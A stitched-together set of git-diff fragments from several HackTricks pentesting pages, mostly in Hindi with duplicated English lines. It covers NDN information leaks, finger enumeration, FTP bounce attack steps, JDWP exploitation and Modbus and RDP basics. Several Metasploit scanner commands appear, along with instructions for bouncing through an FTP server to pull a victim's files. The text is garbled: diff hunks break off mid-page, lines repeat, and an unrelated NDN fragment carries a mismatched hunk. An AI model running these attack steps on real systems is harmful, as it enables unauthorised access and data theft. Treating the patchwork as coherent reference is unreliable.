एक लक्षित डोमेन के भीतर एक अमान्य पते पर भेजे गए ईमेल द्वारा उत्पन्न एक नॉनडिलीवरी नोटिफिकेशन (NDN) की जांच के माध्यम से, अक्सर मूल्यवान आंतरिक नेटवर्क विवरण प्रकट होते हैं।
प्रदान की गई नॉनडिलीवरी रिपोर्ट में निम्नलिखित जानकारी शामिल है:
* उत्पन्न करने वाले सर्वर को `server.example.com` के रूप में पहचाना गया।
* `user@example.com` के लिए एक विफलता नोटिस जिसमें त्रुटि कोड `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` वापस किया गया।
* आंतरिक आईपी पते और होस्टनाम मूल संदेश हेडर में प्रकट हुए।
* आंतरिक IP पते और होस्टनाम मूल संदेश हेडर में प्रकट हुए।
```markdown
The original message headers were modified for anonymity and now present randomized data:
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### एक हैकर के दृष्टिकोण से अपने वेब ऐप्स, नेटवर्क और क्लाउड का मूल्यांकन करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,20 +17,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **बुनियादी जानकारी**
## **Basic Info**
**फिंगर** प्रोग्राम/सेवा का उपयोग कंप्यूटर उपयोगकर्ताओं के बारे में विवरण प्राप्त करने के लिए किया जाता है। आमतौर पर, प्रदान की गई जानकारी में **उपयोगकर्ता का लॉगिन नाम, पूरा नाम** और, कुछ मामलों में, अतिरिक्त विवरण शामिल होते हैं। ये अतिरिक्त विवरण कार्यालय का स्थान और फोन नंबर (यदि उपलब्ध हो), उपयोगकर्ता के लॉगिन करने का समय, निष्क्रियता की अवधि (आइडल टाइम), उपयोगकर्ता द्वारा पढ़ी गई अंतिम ईमेल की स्थिति, और उपयोगकर्ता की योजना और परियोजना फ़ाइलों की सामग्री शामिल हो सकते हैं।
The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **उपयोगकर्ता का लॉगिन नाम, पूरा नाम**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.
**डिफ़ॉल्ट पोर्ट:** 79
**Default port:** 79
```
PORT STATE SERVICE
79/tcp open finger
```
## **सूचना संग्रहण**
## **Enumeration**
### **बैनर ग्रैबिंग/बुनियादी कनेक्शन**
```bash
@ -73,7 +75,9 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -85,8 +89,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -1,41 +1,43 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और अभ्यास करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और अभ्यास करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# Resume
# रिज़्यूमे
यदि आपके पास एक बाउंस FTP सर्वर तक पहुंच है, तो आप इसे अन्य FTP सर्वर से फ़ाइलें अनुरोध करने के लिए बना सकते हैं \(जहाँ आप कुछ क्रेडेंशियल्स जानते हैं\) और उस फ़ाइल को अपने सर्वर पर डाउनलोड कर सकते हैं।
यदि आपके पास एक बाउंस FTP सर्वर तक पहुंच है, तो आप इसे अन्य FTP सर्वर से फ़ाइलें मांगने के लिए बना सकते हैं \(जहाँ आप कुछ क्रेडेंशियल्स जानते हैं\) और उस फ़ाइल को अपने सर्वर पर डाउनलोड कर सकते हैं।
## Requirements
## आवश्यकताएँ
- FTP मध्य सर्वर में मान्य क्रेडेंशियल्स
- पीड़ित FTP सर्वर में मान्य क्रेडेंशियल्स
- दोनों सर्वर PORT कमांड स्वीकार करते हैं \(बाउंस FTP हमला\)
- दोनों सर्वर PORT कमांड को स्वीकार करते हैं \(बाउंस FTP हमला\)
- आप FRP मध्य सर्वर के किसी निर्देशिका के अंदर लिख सकते हैं
- मध्य सर्वर के पास किसी कारण से पीड़ित FTP सर्वर के अंदर अधिक पहुंच होगी \(यह वही है जिस आप शोषण करने जा रहे हैं\)
- मध्य सर्वर के पास किसी कारण से पीड़ित FTP सर्वर के अंदर अधिक पहुंच होगी \(यह वही है जिसका आप शोषण करने जा रहे हैं\)
## Steps
## चरण
1. अपने FTP सर्वर से कनेक्ट करें और कनेक्शन को निष्क्रिय बनाएं \(pasv कमांड\) ताकि यह उस निर्देशिका में सुन सके जहाँ पीड़ित सेवा फ़ाइल भेजेगी
2. फ़ाइल बनाएं जो FTP मध्य सर्वर से पीड़ित सर्वर को भेजी जाएगी \(शोषण\)। यह फ़ाइल आवश्यक कमांडों का स्पष्ट पाठ होगी जो पीड़ित सर्वर के खिलाफ प्रमाणीकरण, निर्देशिका बदलने और फ़ाइल को अपने सर्वर पर डाउनलोड करने के लिए होगी।
2. फ़ाइल बनाएं जो FTP मध्य सर्वर से पीड़ित सर्वर को भेजी जाएगी \(शोषण\)। यह फ़ाइल आवश्यक कमांड्स का प्लेन टेक्स्ट होगी जो पीड़ित सर्वर के खिलाफ प्रमाणीकरण, निर्देशिका बदलने और फ़ाइल को अपने सर्वर पर डाउनलोड करने के लिए होगी।
3. FTP मध्य सर्वर से कनेक्ट करें और पिछले फ़ाइल को अपलोड करें
4. FTP मध्य सर्वर को पीड़ित सर्वर के साथ कनेक्शन स्थापित करने और शोषण फ़ाइल भेजने के लिए बनाएं
5. अपनी FTP सर्वर में फ़ाइल कैप्चर करें
@ -46,21 +48,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और अभ्यास करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और अभ्यास करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Exploiting
JDWP शोषण **प्रोटोकॉल की प्रमाणीकरण और एन्क्रिप्शन की कमी** पर निर्भर करता है। यह सामान्यतः **पोर्ट 8000** पर पाया जाता है, लेकिन अन्य पोर्ट भी संभव हैं। प्रारंभिक कनेक्शन लक्ष्य पोर्ट पर "JDWP-Handshake" भेजकर बनाया जाता है। यदि एक JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ प्रतिक्रिया करती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान के लिए एक फिंगरप्रिंटिंग विधि के रूप में कार्य करता है।
JDWP शोषण **प्रोटोकॉल की प्रमाणीकरण और एन्क्रिप्शन की कमी** पर निर्भर करता है। यह सामान्यतः **पोर्ट 8000** पर पाया जाता है, लेकिन अन्य पोर्ट भी संभव हैं। प्रारंभिक कनेक्शन "JDWP-Handshake" को लक्षित पोर्ट पर भेजकर किया जाता है। यदि एक JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ प्रतिक्रिया करती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान करने के लिए एक फिंगरप्रिंटिंग विधि के रूप में कार्य करता है।
प्रक्रिया पहचान के संदर्भ में, Java प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज एक सक्रिय JDWP सत्र को इंगित कर सकती है।
@ -55,11 +57,11 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
- लेख में पांच चरणों में एक शोषण प्रक्रिया का विवरण दिया गया है, जिसमें Java Runtime संदर्भों को लाना, ब्रेकपॉइंट सेट करना, और विधियों को लागू करना शामिल है।
5. **Real-Life Exploitation**:
- संभावित फ़ायरवॉल सुरक्षा के बावजूद, JDWP सेवाएँ वास्तविक दुनिया के परिदृश्यों में खोजी और शोषित की जा सकती हैं, जैसा कि ShodanHQ और GitHub जैसे प्लेटफार्मों पर खोजों द्वारा प्रदर्शित किया गया है।
- शोषण स्क्रिप्ट को विभिन्न JDK संस्करणों के खिलाफ परीक्षण किया गया था और यह प्लेटफ़ॉर्म-स्वतंत्र है, जो विश्वसनीय रिमोट कोड निष्पादन (RCE) प्रदान करता है।
- संभावित फ़ायरवॉल सुरक्षा के बावजूद, JDWP सेवाएँ वास्तविक दुनिया के परिदृश्यों में खोजी जा सकती हैं और शोषित की जा सकती हैं, जैसा कि ShodanHQ और GitHub जैसे प्लेटफार्मों पर खोजों द्वारा प्रदर्शित किया गया है।
- शोषण स्क्रिप्ट को विभिन्न JDK संस्करणों के खिलाफ परीक्षण किया गया था और यह प्लेटफ़ॉर्म-स्वतंत्र है, जो विश्वसनीय Remote Code Execution (RCE) प्रदान करता है।
6. **Security Implications**:
- इंटरनेट पर खुले JDWP सेवाओं की उपस्थिति नियमित सुरक्षा समीक्षाओं की आवश्यकता को रेखांकित करती है, उत्पादन में डिबग कार्यक्षमताओं को बंद करना, और उचित फ़ायरवॉल कॉन्फ़िगरेशन।
- इंटरनेट पर खुले JDWP सेवाओं की उपस्थिति नियमित सुरक्षा समीक्षाओं की आवश्यकता को रेखांकित करती है, उत्पादन में डिबग कार्यक्षमताओं को अक्षम करना, और उचित फ़ायरवॉल कॉन्फ़िगरेशन।
### **References:**
@ -78,7 +80,9 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,14 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# मूल जानकारी
# Basic Information
1979 में, **Modbus प्रोटोकॉल** को Modicon द्वारा विकसित किया गया, जो एक संदेश संरचना के रूप में कार्य करता है। इसका प्राथमिक उपयोग बुद्धिमान उपकरणों के बीच संचार को सुविधाजनक बनाना है, जो मास्टर-गुलाम/क्लाइंट-सेर्वर मॉडल के तहत कार्य करते हैं। यह प्रोटोकॉल उपकरणों को कुशलता से डेटा का आदान-प्रदान करने में सक्षम बनाने में महत्वपूर्ण भूमिका निभाता है।
1979 में, **Modbus Protocol** को Modicon द्वारा विकसित किया गया, जो एक संदेश संरचना के रूप में कार्य करता है। इसका प्राथमिक उपयोग बुद्धिमान उपकरणों के बीच संचार को सुविधाजनक बनाना है, जो एक मास्टर-गुलाम/क्लाइंट-सेर्वर मॉडल के तहत कार्य करते हैं। यह प्रोटोकॉल उपकरणों को कुशलतापूर्वक डेटा का आदान-प्रदान करने में सक्षम बनाने में महत्वपूर्ण भूमिका निभाता है।
**डिफ़ॉल्ट पोर्ट:** 502
```
@ -36,14 +38,16 @@ msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -51,7 +55,7 @@ msf> use auxiliary/scanner/scada/modbus_findunitid
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## मूल जानकारी
## Basic Information
Microsoft द्वारा विकसित, **रिमोट डेस्कटॉप प्रोटोकॉल** (**RDP**) को नेटवर्क के माध्यम से कंप्यूटरों के बीच ग्राफिकल इंटरफेस कनेक्शन सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के निर्बाध नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय उपकरण पर लाता है।
